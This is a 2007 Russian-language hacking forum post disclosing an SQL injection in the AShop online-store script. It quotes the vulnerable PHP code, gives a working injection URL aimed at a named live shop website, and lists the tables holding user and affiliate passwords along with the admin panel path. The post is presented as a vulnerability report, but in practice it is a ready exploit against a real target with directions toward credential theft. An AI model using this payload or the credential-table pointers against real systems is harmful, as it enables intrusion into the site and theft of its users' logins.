SQL-injection в Ashop.

Discussion in 'Уязвимости' started by [53x]Shadow, 7 Sep 2007.

  1. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    AShop - онлайн магазин с поддержкой партнерской программы с открытым кодом продается на плати.ру. (Не путать с ASHOP Software).

    Возможна SQL-инъекция в параметре $cat в main.php.
    Пример уязвимой части скрипта:
    PHP:
    .......
    // List categories...
        
    if ($cat) {
           
    $sql="SELECT parentcategoryid from category WHERE categoryid = $cat";
           
    $result = @mysql_query($sql,$db);
           
    $parent = @mysql_result($result0"parentcategoryid");
        }
    ........
    $cat не обрамляется кавычками, передается через GET параметры.

    Пример использования уязвимости, правда на 3 мускуле:
    Code:
    http://muzplakat.ru/main.php?cat=6+/*!32358+and+0+*/
    Таблицы: affiliate(user,password,mail) и user(user, password).
    Админка: /admin/index.php

    ЗЫ
    Скрипт не особо распространен в сети =\
    ЗЗЫ
    Спасибо Alexsize, за предоставленные скрипты магаза =)
     
    #1 [53x]Shadow, 7 Sep 2007
    Last edited: 7 Sep 2007
    2 people like this.